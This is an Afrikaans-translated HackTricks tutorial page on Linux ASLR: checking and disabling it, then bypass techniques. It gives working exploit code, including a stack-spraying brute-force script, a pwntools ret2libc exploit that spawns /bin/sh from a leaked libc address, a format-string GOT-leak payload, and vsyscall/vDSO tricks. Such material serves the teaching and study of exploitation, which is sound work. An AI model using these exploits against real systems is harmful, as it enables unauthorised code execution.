ASLR

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Basiese Inligting

Address Space Layout Randomization (ASLR) is 'n sekuriteitstegniek wat in bedryfstelsels gebruik word om die geheue-adresse wat deur stelsel- en aansoekprosesse gebruik word, te verrandomiseer. Deur dit te doen, maak dit dit aansienlik moeiliker vir 'n aanvaller om die ligging van spesifieke prosesse en data, soos die stok, hoop, en biblioteke, te voorspel, en sodoende sekere tipes aanvalle, veral buffer-oorvloei, te verminder.

ASLR-status Kontroleer

Om die ASLR-status op 'n Linux-stelsel te kontroleer, kan jy die waarde uit die /proc/sys/kernel/randomize_va_space lêer lees. Die waarde wat in hierdie lêer gestoor word, bepaal die tipe ASLR wat toegepas word:

  • 0: Geen verrandomisering. Alles is staties.

  • 1: Konservatiewe verrandomisering. Gedeelde biblioteke, stok, mmap(), VDSO-bladsy word verrandomiseer.

  • 2: Volledige verrandomisering. Bo en behalwe elemente wat deur konservatiewe verrandomisering verrandomiseer word, word geheue wat deur brk() bestuur word, verrandomiseer.

Jy kan die ASLR-status kontroleer met die volgende bevel:

cat /proc/sys/kernel/randomize_va_space

Deaktivering van ASLR

Om ASLR te deaktiveer, stel jy die waarde van /proc/sys/kernel/randomize_va_space in op 0. Die deaktivering van ASLR word gewoonlik nie aanbeveel buite toets- of foutopsporingscenarios nie. Hier is hoe jy dit kan deaktiveer:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Jy kan ook ASLR uitskakel vir 'n uitvoering met:

setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

Aktivering van ASLR

Om ASLR te aktiveer, kan jy 'n waarde van 2 skryf na die /proc/sys/kernel/randomize_va_space lêer. Dit vereis gewoonlik root-voorregte. Volledige randomisasie kan gedoen word met die volgende bevel:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Volharding oor Herlaai

Veranderinge wat met die echo opdragte gemaak word, is tydelik en sal herstel word met herlaai. Om die verandering volhardend te maak, moet jy die /etc/sysctl.conf lêer wysig en die volgende lyn byvoeg of wysig:

kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

Na die wysiging van /etc/sysctl.conf, pas die veranderinge toe met:

sudo sysctl -p

Dit sal verseker dat jou ASLR-instellings behoue bly oor herlaai.

Oorbruggings

32-bit brutaal krag

PaX verdeel die proses-adresruimte in 3 groepe:

  • Kode en data (geïnisialiseer en ongeïnisialiseer): .text, .data, en .bss —> 16 bits van entropie in die delta_exec veranderlike. Hierdie veranderlike word lukraak geïnisialiseer met elke proses en by die aanvanklike adresse gevoeg.

  • Geheue toegewys deur mmap() en gedeelde biblioteke —> 16 bits, genoem delta_mmap.

  • Die stok —> 24 bits, verwys na as delta_stack. Dit maak egter effektief gebruik van 11 bits (vanaf die 10de tot die 20ste byte insluitend), uitgelyn op 16 byte —> Dit lei tot 524,288 moontlike werklike stokadresse.

Die vorige data is vir 32-bietestelsels en die verminderde finale entropie maak dit moontlik om ASLR te omseil deur die uitvoering herhaaldelik te probeer totdat die aanval suksesvol voltooi is.

Brutaal-krag idees:

  • As jy 'n groot genoeg oorloop het om 'n groot NOP-glybaan voor die skelkode te bevat, kan jy net adresse in die stok brutaal krag totdat die vloei oor 'n deel van die NOP-glybaan spring.

  • 'n Ander opsie hiervoor in geval die oorloop nie so groot is nie en die aanval plaaslik uitgevoer kan word, is dit moontlik om die NOP-glybaan en skelkode in 'n omgewingsveranderlike by te voeg.

  • As die aanval plaaslik is, kan jy probeer om die basisadres van libc brutaal krag (nuttig vir 32-bietestelsels):

for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Indien jy 'n afgeleë bediener aanval, kan jy probeer om die adres van die libc-funksie usleep met brute force te vind, deur 10 as argument te gee. As die bediener op 'n sekere punt 10 sekondes langer neem om te reageer, het jy die adres van hierdie funksie gevind.

Op 64-bits stelsels is die entropie baie hoër en dit behoort nie moontlik te wees nie.

64-bits stapel-brute force

Dit is moontlik om 'n groot deel van die stapel met omgewingsveranderlikes te beset en dan die binêre honderde/duisende kere plaaslik te misbruik om dit uit te buit. Die volgende kode wys hoe dit moontlik is om net 'n adres in die stapel te kies en elke paar honderde uitvoerings sal daardie adres die NOP-instruksie bevat:

//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>

int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
import subprocess
import traceback

# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops

# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}

cont = 0
while True:
cont += 1

if cont % 10000 == 0:
break

print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'

try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass

Plaaslike Inligting (/proc/[pid]/stat)

Die lêer /proc/[pid]/stat van 'n proses is altyd leesbaar vir almal en dit bevat interessante inligting soos:

  • startcode & endcode: Adresse bokant en onder met die TEKS van die binêre

  • startstack: Die adres van die begin van die stapel

  • start_data & end_data: Adresse bokant en onder waar die BSS is

  • kstkesp & kstkeip: Huidige ESP en EIP adresse

  • arg_start & arg_end: Adresse bokant en onder waar cli-argumente is.

  • env_start & env_end: Adresse bokant en onder waar omgewingsveranderlikes is.

Daarom, as die aanvaller op dieselfde rekenaar as die binêre is wat uitgebuit word en hierdie binêre nie die oorvloei van rou argumente verwag nie, maar van 'n ander inskrywing wat na die lees van hierdie lêer gekonstrueer kan word. Dit is moontlik vir 'n aanvaller om sekere adresse uit hierdie lêer te kry en vanuit hulle verskuiwings vir die uitbuiting te konstrueer.

Vir meer inligting oor hierdie lêer, kyk na https://man7.org/linux/man-pages/man5/proc.5.html deur te soek na /proc/pid/stat

'n Lek hê

  • Die uitdaging is om 'n lek te hê

As jy 'n lek gegee word (maklike CTF-uitdagings), kan jy verskuiwings daarvan bereken (onder die aanname byvoorbeeld dat jy die presiese libc-weergawe ken wat in die stelsel wat jy uitbuit, gebruik word). Hierdie voorbeeld-uitbuiting is onttrek uit die voorbeeld van hier (kyk daardie bladsy vir meer besonderhede):

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()
  • ret2plt

Misbruik 'n buffer overflow dit sou moontlik wees om 'n ret2plt te misbruik om 'n adres van 'n funksie uit die libc te eksfiltreer. Kontroleer:

pageRet2plt
  • Formaat Strings Willekeurige Lees

Net soos in ret2plt, as jy 'n willekeurige lees het via 'n formaat strings kwesbaarheid is dit moontlik om die adres van 'n libc funksie uit die GOT te eksfiltreer. Die volgende voorbeeld is hier vandaan:

payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

vsyscall

Die vsyscall meganisme dien om prestasie te verbeter deur sekere stelseloproepe in gebruikerspas uit te voer, alhoewel hulle fundamenteel deel van die kernel is. Die kritieke voordeel van vsyscalls lê in hul vaste adresse, wat nie aan ASLR (Address Space Layout Randomization) onderwerp is nie. Hierdie vaste aard beteken dat aanvallers nie 'n inligtingslek kwesbaarheid benodig om hul adresse te bepaal en hulle in 'n aanval te gebruik nie. Geen super interessante gadgets sal hier gevind word nie (alhoewel dit byvoorbeeld moontlik is om 'n ret; ekwivalent te kry)

(Die volgende voorbeeld en kode is van hierdie skryfstuk)

Byvoorbeeld, 'n aanvaller kan die adres 0xffffffffff600800 binne 'n aanval gebruik. Terwyl 'n poging om direk na 'n ret instruksie te spring tot onstabiliteit of afsluitings kan lei na die uitvoering van 'n paar gadgets, kan dit suksesvol wees om na die begin van 'n syscall te spring wat deur die vsyscall afdeling voorsien word. Deur sorgvuldig 'n ROP gadget te plaas wat uitvoering na hierdie vsyscall adres lei, kan 'n aanvaller kode-uitvoering bereik sonder om ASLR vir hierdie deel van die aanval te moet omseil.

ef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3

vDSO

Let dus daarop hoe dit moontlik kan wees om ASLR te omseil deur die vdso te misbruik as die kernel saamgestel is met CONFIG_COMPAT_VDSO aangesien die vdso-adres nie ge-randomiseer sal word nie. Vir meer inligting kyk:

pageRet2vDSO
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated